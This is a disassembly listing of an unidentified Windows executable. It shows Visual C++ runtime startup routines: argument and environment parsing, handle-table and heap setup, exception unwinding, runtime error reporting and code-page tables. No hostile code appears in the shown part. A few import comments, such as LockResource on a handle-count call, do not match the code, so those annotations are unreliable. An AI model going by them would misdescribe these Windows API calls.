loc_403125: ; CODE XREF: sub_402FE1+134j
mov dl, [eax]
test dl, dl
jz short loc_403175
cmp [ebp+arg_10], 0
jnz short loc_40313B
cmp dl, 20h
jz short loc_403175
cmp dl, 9
jz short loc_403175
loc_40313B: ; CODE XREF: sub_402FE1+14Ej
cmp [ebp+arg_0], 0
jz short loc_40316F
test esi, esi
jz short loc_40315E
movzx ebx, dl
test ds:byte_4073C1[ebx], 4
jz short loc_403157
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_403157: ; CODE XREF: sub_402FE1+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_40316D
; ---------------------------------------------------------------------------
loc_40315E: ; CODE XREF: sub_402FE1+162j
movzx edx, dl
test ds:byte_4073C1[edx], 4
jz short loc_40316D
inc eax
inc dword ptr [ecx]
loc_40316D: ; CODE XREF: sub_402FE1+17Bj
; sub_402FE1+187j
inc dword ptr [ecx]
loc_40316F: ; CODE XREF: sub_402FE1+15Ej
inc eax
jmp loc_4030CD
; ---------------------------------------------------------------------------
loc_403175: ; CODE XREF: sub_402FE1+148j
; sub_402FE1+153j ...
test esi, esi
jz short loc_40317D
and byte ptr [esi], 0
inc esi
loc_40317D: ; CODE XREF: sub_402FE1+196j
inc dword ptr [ecx]
jmp loc_40309B
; ---------------------------------------------------------------------------
loc_403184: ; CODE XREF: sub_402FE1+BDj
; sub_402FE1+D5j
test edi, edi
jz short loc_40318B
and dword ptr [edi], 0
loc_40318B: ; CODE XREF: sub_402FE1+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_402FE1 endp
; =============== S U B R O U T I N E =======================================
sub_403195 proc near ; CODE XREF: sub_40292E+7Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
mov eax, ds:dword_407230
push ebx
push ebp
mov ebp, ds:dword_4050B8
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_4031E3
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz short loc_4031C4
mov ds:dword_407230, 1
jmp short loc_4031EC
; ---------------------------------------------------------------------------
loc_4031C4: ; CODE XREF: sub_403195+21j
call ds:dword_4050BC ; GetEnvironmentStrings
mov edi, eax
cmp edi, ebx
jz loc_4032BE
mov ds:dword_407230, 2
jmp loc_403272
; ---------------------------------------------------------------------------
loc_4031E3: ; CODE XREF: sub_403195+19j
cmp eax, 1
jnz loc_40326D
loc_4031EC: ; CODE XREF: sub_403195+2Dj
cmp esi, ebx
jnz short loc_4031FC
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz loc_4032BE
loc_4031FC: ; CODE XREF: sub_403195+59j
cmp [esi], bx
mov eax, esi
jz short loc_403211
loc_403203: ; CODE XREF: sub_403195+73j
; sub_403195+7Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_403203
inc eax
inc eax
cmp [eax], bx
jnz short loc_403203
loc_403211: ; CODE XREF: sub_403195+6Cj
sub eax, esi
mov edi, ds:dword_4050C0
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+38h+var_4], eax
call edi ; WideCharToMultiByte
mov ebp, eax
cmp ebp, ebx
jz short loc_403262
push ebp
call sub_403DA6
cmp eax, ebx
pop ecx
mov [esp+18h+var_8], eax
jz short loc_403262
push ebx
push ebx
push ebp
push eax
push [esp+28h+var_4]
push esi
push ebx
push ebx
call edi ; WideCharToMultiByte
test eax, eax
jnz short loc_40325E
push [esp+18h+var_8]
call sub_403D77
pop ecx
mov [esp+18h+var_8], ebx
loc_40325E: ; CODE XREF: sub_403195+B9j
mov ebx, [esp+18h+var_8]
loc_403262: ; CODE XREF: sub_403195+99j
; sub_403195+A8j
push esi
call ds:dword_4050C4 ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_4032C0
; ---------------------------------------------------------------------------
loc_40326D: ; CODE XREF: sub_403195+51j
cmp eax, 2
jnz short loc_4032BE
loc_403272: ; CODE XREF: sub_403195+49j
cmp edi, ebx
jnz short loc_403282
call ds:dword_4050BC ; GetEnvironmentStrings
mov edi, eax
cmp edi, ebx
jz short loc_4032BE
loc_403282: ; CODE XREF: sub_403195+DFj
cmp [edi], bl
mov eax, edi
jz short loc_403292
loc_403288: ; CODE XREF: sub_403195+F6j
; sub_403195+FBj
inc eax
cmp [eax], bl
jnz short loc_403288
inc eax
cmp [eax], bl
jnz short loc_403288
loc_403292: ; CODE XREF: sub_403195+F1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_403DA6
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4032A8
xor esi, esi
jmp short loc_4032B3
; ---------------------------------------------------------------------------
loc_4032A8: ; CODE XREF: sub_403195+10Dj
push ebp
push edi
push esi
call sub_402380
add esp, 0Ch
loc_4032B3: ; CODE XREF: sub_403195+111j
push edi
call ds:dword_4050E8 ; FreeEnvironmentStringsA
mov eax, esi
jmp short loc_4032C0
; ---------------------------------------------------------------------------
loc_4032BE: ; CODE XREF: sub_403195+39j
; sub_403195+61j ...
xor eax, eax
loc_4032C0: ; CODE XREF: sub_403195+D6j
; sub_403195+127j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_403195 endp
; =============== S U B R O U T I N E =======================================
sub_4032C7 proc near ; CODE XREF: sub_40292E+6Fp
var_44 = byte ptr -44h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_403DA6
mov esi, eax
pop ecx
test esi, esi
jnz short loc_4032E7
push 1Bh
call sub_402A24
pop ecx
loc_4032E7: ; CODE XREF: sub_4032C7+16j
mov ds:dword_4074E0, esi
mov ds:dword_4075E0, 20h
lea eax, [esi+100h]
loc_4032FD: ; CODE XREF: sub_4032C7+52j
cmp esi, eax
jnb short loc_40331B
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, ds:dword_4074E0
add esi, 8
add eax, 100h
jmp short loc_4032FD
; ---------------------------------------------------------------------------
loc_40331B: ; CODE XREF: sub_4032C7+38j
lea eax, [esp+54h+var_44]
push eax
call ds:dword_4050CC ; GetStartupInfoA
cmp word ptr [esp+54h+var_14+2], 0
jz loc_4033F7
mov eax, [esp+54h+var_10]
test eax, eax
jz loc_4033F7
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_403351
mov esi, eax
loc_403351: ; CODE XREF: sub_4032C7+86j
cmp ds:dword_4075E0, esi
jge short loc_4033AB
mov edi, offset dword_4074E4
loc_40335E: ; CODE XREF: sub_4032C7+DAj
push 100h
call sub_403DA6
test eax, eax
pop ecx
jz short loc_4033A5
add ds:dword_4075E0, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_40337C: ; CODE XREF: sub_4032C7+CFj
cmp eax, ecx
jnb short loc_403398
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_40337C
; ---------------------------------------------------------------------------
loc_403398: ; CODE XREF: sub_4032C7+B7j
add edi, 4
cmp ds:dword_4075E0, esi
jl short loc_40335E
jmp short loc_4033AB
; ---------------------------------------------------------------------------
loc_4033A5: ; CODE XREF: sub_4032C7+A4j
mov esi, ds:dword_4075E0
loc_4033AB: ; CODE XREF: sub_4032C7+90j
; sub_4032C7+DCj
xor edi, edi
test esi, esi
jle short loc_4033F7
loc_4033B1: ; CODE XREF: sub_4032C7+12Ej
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_4033EE
mov cl, [ebp+0]
test cl, 1
jz short loc_4033EE
test cl, 8
jnz short loc_4033D0
push eax
call ds:dword_4050A0 ; GetFileType
test eax, eax
jz short loc_4033EE
loc_4033D0: ; CODE XREF: sub_4032C7+FCj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, ds:dword_4074E0[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_4033EE: ; CODE XREF: sub_4032C7+EFj
; sub_4032C7+F7j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_4033B1
loc_4033F7: ; CODE XREF: sub_4032C7+65j
; sub_4032C7+71j ...
xor ebx, ebx
loc_4033F9: ; CODE XREF: sub_4032C7+195j
mov eax, ds:dword_4074E0
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_403454
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_403414
push 0FFFFFFF6h
pop eax
jmp short loc_40341E
; ---------------------------------------------------------------------------
loc_403414: ; CODE XREF: sub_4032C7+146j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_40341E: ; CODE XREF: sub_4032C7+14Bj
push eax
call ds:dword_4050A4 ; GetStdHandle
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_403443
push edi
call ds:dword_4050A0 ; GetFileType
test eax, eax
jz short loc_403443
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_403449
loc_403443: ; CODE XREF: sub_4032C7+163j
; sub_4032C7+16Ej
or byte ptr [esi+4], 40h
jmp short loc_403458
; ---------------------------------------------------------------------------
loc_403449: ; CODE XREF: sub_4032C7+17Aj
cmp eax, 3
jnz short loc_403458
or byte ptr [esi+4], 8
jmp short loc_403458
; ---------------------------------------------------------------------------
loc_403454: ; CODE XREF: sub_4032C7+13Ej
or byte ptr [esi+4], 80h
loc_403458: ; CODE XREF: sub_4032C7+180j
; sub_4032C7+185j ...
inc ebx
cmp ebx, 3
jl short loc_4033F9
push ds:dword_4075E0
call ds:dword_4050A8 ; LockResource
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
sub_4032C7 endp
; =============== S U B R O U T I N E =======================================
sub_403472 proc near ; CODE XREF: sub_40292E+5Ap
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call ds:dword_405098 ; HeapCreate
test eax, eax
mov ds:dword_4074C8, eax
jz short loc_4034A7
call sub_403E1A
test eax, eax
jnz short loc_4034AA
push ds:dword_4074C8
call ds:dword_40509C ; HeapDestroy
loc_4034A7: ; CODE XREF: sub_403472+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4034AA: ; CODE XREF: sub_403472+27j
push 1
pop eax
retn
sub_403472 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4034B0 proc near ; CODE XREF: sub_4035A8+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_4034C8
push [ebp+arg_0]
call sub_404DA8 ; RtlUnwind
loc_4034C8: ; DATA XREF: sub_4034B0+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4034B0 endp
; =============== S U B R O U T I N E =======================================
sub_4034D0 proc near ; DATA XREF: sub_4034F2+Ao
; .text:00403563o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_4034F1
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_4034F1: ; CODE XREF: sub_4034D0+10j
retn
sub_4034D0 endp
; =============== S U B R O U T I N E =======================================
sub_4034F2 proc near ; CODE XREF: sub_4035A8+67p
; sub_4035A8+A7p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_4034D0
push large dword ptr fs:0
mov large fs:0, esp
loc_40350F: ; CODE XREF: sub_4034F2:loc_40354Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_40354C
cmp esi, [esp+1Ch+arg_4]
jz short loc_40354C
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_40354A
push 101h
mov eax, [ebx+esi*4+8]
call sub_403586
call dword ptr [ebx+esi*4+8]
loc_40354A: ; CODE XREF: sub_4034F2+44j
jmp short loc_40350F
; ---------------------------------------------------------------------------
loc_40354C: ; CODE XREF: sub_4034F2+2Aj
; sub_4034F2+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_4034F2 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_4034D0
jnz short locret_40357C
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_40357C
mov eax, 1
locret_40357C: ; CODE XREF: .text:0040356Aj
; .text:00403575j
retn
; ---------------------------------------------------------------------------
push ebx
push ecx
mov ebx, offset dword_406F1C
jmp short loc_403590
; =============== S U B R O U T I N E =======================================
sub_403586 proc near ; CODE XREF: sub_4034F2+4Fp
; sub_4035A8+78p
push ebx
push ecx
mov ebx, offset dword_406F1C
mov ecx, [ebp+8]
loc_403590: ; CODE XREF: .text:00403584j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_403586 endp
; ---------------------------------------------------------------------------
align 10h
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4035A8 proc near ; DATA XREF: sub_40292E+Ao
; sub_40380C+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_403648
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_4035DB: ; CODE XREF: sub_4035A8+90j
cmp esi, 0FFFFFFFFh
jz short loc_403641
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_40362F
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_40362F
js short loc_40363A
mov edi, [ebx+8]
push ebx
call sub_4034B0
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_4034F2
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_403586
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_40362F: ; CODE XREF: sub_4035A8+40j
; sub_4035A8+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_4035DB
; ---------------------------------------------------------------------------
loc_40363A: ; CODE XREF: sub_4035A8+54j
mov eax, 0
jmp short loc_40365D
; ---------------------------------------------------------------------------
loc_403641: ; CODE XREF: sub_4035A8+36j
mov eax, 1
jmp short loc_40365D
; ---------------------------------------------------------------------------
loc_403648: ; CODE XREF: sub_4035A8+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_4034F2
add esp, 8
pop ebp
mov eax, 1
loc_40365D: ; CODE XREF: sub_4035A8+97j
; sub_4035A8+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4035A8 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_4034F2
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_403680 proc near ; CODE XREF: sub_402A24+9p
; sub_402A49+9p
mov eax, ds:dword_4070D8
cmp eax, 1
jz short loc_403697
test eax, eax
jnz short locret_4036B8
cmp ds:dword_406C64, 1
jnz short locret_4036B8
loc_403697: ; CODE XREF: sub_403680+8j
push 0FCh
call sub_4036B9
mov eax, ds:dword_407234
pop ecx
test eax, eax
jz short loc_4036AD
call eax
loc_4036AD: ; CODE XREF: sub_403680+29j
push 0FFh
call sub_4036B9
pop ecx
locret_4036B8: ; CODE XREF: sub_403680+Cj
; sub_403680+15j
retn
sub_403680 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4036B9 proc near ; CODE XREF: sub_402A24+12p
; sub_402A49+12p ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_406F30
loc_4036CC: ; CODE XREF: sub_4036B9+20j
cmp edx, [eax]
jz short loc_4036DB
add eax, 8
inc ecx
cmp eax, offset byte_406FC0
jl short loc_4036CC
loc_4036DB: ; CODE XREF: sub_4036B9+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, ds:dword_406F30[esi]
jnz loc_403809
mov eax, ds:dword_4070D8
cmp eax, 1
jz loc_4037E3
test eax, eax
jnz short loc_40370C
cmp ds:dword_406C64, 1
jz loc_4037E3
loc_40370C: ; CODE XREF: sub_4036B9+44j
cmp edx, 0FCh
jz loc_403809
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call ds:dword_405038 ; GetModuleFileNameA
test eax, eax
jnz short loc_403743
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_402810
pop ecx
pop ecx
loc_403743: ; CODE XREF: sub_4036B9+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_402300
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_403786
lea eax, [ebp+var_1A4]
push eax
call sub_402300
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_4046F0
add esp, 10h
loc_403786: ; CODE XREF: sub_4036B9+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_402810
lea eax, [ebp+var_A0]
push edi
push eax
call sub_402820
lea eax, [ebp+var_A0]
push offset asc_40540C ; "\n\n"
push eax
call sub_402820
push ds:off_406F34[esi]
lea eax, [ebp+var_A0]
push eax
call sub_402820
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_404663
add esp, 2Ch
pop edi
jmp short loc_403809
; ---------------------------------------------------------------------------
loc_4037E3: ; CODE XREF: sub_4036B9+3Cj
; sub_4036B9+4Dj
lea eax, [ebp+arg_0]
lea esi, off_406F34[esi]
push 0
push eax
push dword ptr [esi]
call sub_402300
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call ds:dword_4050A4 ; GetStdHandle
push eax
call ds:dword_405088 ; WriteFile
loc_403809: ; CODE XREF: sub_4036B9+2Ej
; sub_4036B9+59j ...
pop esi
leave
retn
sub_4036B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40380C proc near ; CODE XREF: sub_402B3C+5Ep
; sub_403BD6+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_405450
push offset sub_4035A8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, ds:dword_407238
xor ebx, ebx
cmp eax, ebx
jnz short loc_40387B
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_405448
push esi
call ds:dword_40507C ; GetStringTypeW
test eax, eax
jz short loc_403859
mov eax, esi
jmp short loc_403876
; ---------------------------------------------------------------------------
loc_403859: ; CODE XREF: sub_40380C+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_4070C8
push esi
push ebx
call ds:dword_405080 ; GetStringTypeA
test eax, eax
jz loc_403941
push 2
pop eax
loc_403876: ; CODE XREF: sub_40380C+4Bj
mov ds:dword_407238, eax
loc_40387B: ; CODE XREF: sub_40380C+2Fj
cmp eax, 2
jnz short loc_4038A4
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_40388C
mov eax, ds:dword_407254
loc_40388C: ; CODE XREF: sub_40380C+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call ds:dword_405080 ; GetStringTypeA
jmp loc_403943
; ---------------------------------------------------------------------------
loc_4038A4: ; CODE XREF: sub_40380C+72j
cmp eax, 1
jnz loc_403941
cmp [ebp+arg_10], ebx
jnz short loc_4038BA
mov eax, ds:dword_407264
mov [ebp+arg_10], eax
loc_4038BA: ; CODE XREF: sub_40380C+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call ds:dword_405084 ; MultiByteToWideChar
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_403941
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_4026C0
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_4022A0
add esp, 0Ch
jmp short loc_403910
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_403910: ; CODE XREF: sub_40380C+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_403941
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
call ds:dword_405084 ; MultiByteToWideChar
cmp eax, ebx
jz short loc_403941
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
call ds:dword_40507C ; GetStringTypeW
jmp short loc_403943
; ---------------------------------------------------------------------------
loc_403941: ; CODE XREF: sub_40380C+61j
; sub_40380C+9Bj ...
xor eax, eax
loc_403943: ; CODE XREF: sub_40380C+93j
; sub_40380C+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40380C endp
; =============== S U B R O U T I N E =======================================
sub_403955 proc near ; CODE XREF: sub_402E37+2Bp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_403966
add esp, 0Ch
retn
sub_403955 endp
; =============== S U B R O U T I N E =======================================
sub_403966 proc near ; CODE XREF: sub_403955+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test ds:byte_4073C1[eax], cl
jnz short loc_403993
cmp [esp+arg_4], 0
jz short loc_40398C
movzx eax, ds:word_406C7A[eax*2]
and eax, [esp+arg_4]
jmp short loc_40398E
; ---------------------------------------------------------------------------
loc_40398C: ; CODE XREF: sub_403966+16j
xor eax, eax
loc_40398E: ; CODE XREF: sub_403966+24j
test eax, eax
jnz short loc_403993
retn
; ---------------------------------------------------------------------------
loc_403993: ; CODE XREF: sub_403966+Fj
; sub_403966+2Aj
push 1
pop eax
retn
sub_403966 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403997 proc near ; CODE XREF: sub_403D5B+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_403B30 ; GetOEMCP
mov esi, eax
pop ecx
cmp esi, ds:dword_407290
mov [ebp+arg_0], esi
jz loc_403B24
xor ebx, ebx
cmp esi, ebx
jz loc_403B1A
xor edx, edx
mov eax, offset dword_406FC8
loc_4039CB: ; CODE XREF: sub_403997+41j
cmp [eax], esi
jz short loc_403A41
add eax, 30h
inc edx
cmp eax, offset dword_4070B8
jl short loc_4039CB
lea eax, [ebp+var_18]
push eax
push esi
call ds:dword_405078 ; GetCPInfo
cmp eax, 1
jnz loc_403B12
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4073C0
cmp [ebp+var_18], 1
mov ds:dword_407290, esi
rep stosd
stosb
mov ds:dword_4074C4, ebx
jbe loc_403B00
cmp [ebp+var_12], 0
jz loc_403AD6
lea ecx, [ebp+var_11]
loc_403A1E: ; CODE XREF: sub_403997+139j
mov dl, [ecx]
test dl, dl
jz loc_403AD6
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_403A2F: ; CODE XREF: sub_403997+A8j
cmp eax, edx
ja loc_403ACA
or ds:byte_4073C1[eax], 4
inc eax
jmp short loc_403A2F
; ---------------------------------------------------------------------------
loc_403A41: ; CODE XREF: sub_403997+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4073C0
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_406FD8[esi]
loc_403A5D: ; CODE XREF: sub_403997+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_403A90
loc_403A64: ; CODE XREF: sub_403997+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_403A90
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_403A89
mov edx, [ebp+var_4]
mov dl, ds:byte_406FC0[edx]
loc_403A7E: ; CODE XREF: sub_403997+F0j
or ds:byte_4073C1[eax], dl
inc eax
cmp eax, edi
jbe short loc_403A7E
loc_403A89: ; CODE XREF: sub_403997+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_403A64
loc_403A90: ; CODE XREF: sub_403997+CBj
; sub_403997+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_403A5D
mov eax, [ebp+arg_0]
mov ds:dword_4072AC, 1
push eax
mov ds:dword_407290, eax
call sub_403B7A
lea esi, dword_406FCC[esi]
mov edi, offset dword_4072A0
movsd
movsd
pop ecx
mov ds:dword_4074C4, eax
movsd
jmp short loc_403B1F
; ---------------------------------------------------------------------------
loc_403ACA: ; CODE XREF: sub_403997+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_403A1E
loc_403AD6: ; CODE XREF: sub_403997+7Ej
; sub_403997+8Bj
push 1
pop eax
loc_403AD9: ; CODE XREF: sub_403997+14Fj
or ds:byte_4073C1[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_403AD9
push esi
call sub_403B7A
pop ecx
mov ds:dword_4074C4, eax
mov ds:dword_4072AC, 1
jmp short loc_403B06
; ---------------------------------------------------------------------------
loc_403B00: ; CODE XREF: sub_403997+74j
mov ds:dword_4072AC, ebx
loc_403B06: ; CODE XREF: sub_403997+167j
xor eax, eax
mov edi, offset dword_4072A0
stosd
stosd
stosd
jmp short loc_403B1F
; ---------------------------------------------------------------------------
loc_403B12: ; CODE XREF: sub_403997+51j
cmp ds:dword_40723C, ebx
jz short loc_403B28
loc_403B1A: ; CODE XREF: sub_403997+27j
call sub_403BAD
loc_403B1F: ; CODE XREF: sub_403997+131j
; sub_403997+179j
call sub_403BD6
loc_403B24: ; CODE XREF: sub_403997+1Dj
xor eax, eax
jmp short loc_403B2B
; ---------------------------------------------------------------------------
loc_403B28: ; CODE XREF: sub_403997+181j
or eax, 0FFFFFFFFh
loc_403B2B: ; CODE XREF: sub_403997+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_403997 endp
; =============== S U B R O U T I N E =======================================
sub_403B30 proc near ; CODE XREF: sub_403997+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and ds:dword_40723C, 0
cmp eax, 0FFFFFFFEh
jnz short loc_403B50
mov ds:dword_40723C, 1
jmp ds:dword_405070
; ---------------------------------------------------------------------------
loc_403B50: ; CODE XREF: sub_403B30+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_403B65
mov ds:dword_40723C, 1
jmp ds:dword_405074
; ---------------------------------------------------------------------------
loc_403B65: ; CODE XREF: sub_403B30+23j
cmp eax, 0FFFFFFFCh
jnz short locret_403B79
mov eax, ds:dword_407264
mov ds:dword_40723C, 1
locret_403B79: ; CODE XREF: sub_403B30+38j
retn
sub_403B30 endp
; =============== S U B R O U T I N E =======================================
sub_403B7A proc near ; CODE XREF: sub_403997+118p
; sub_403997+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_403BA7
sub eax, 4
jz short loc_403BA1
sub eax, 0Dh
jz short loc_403B9B
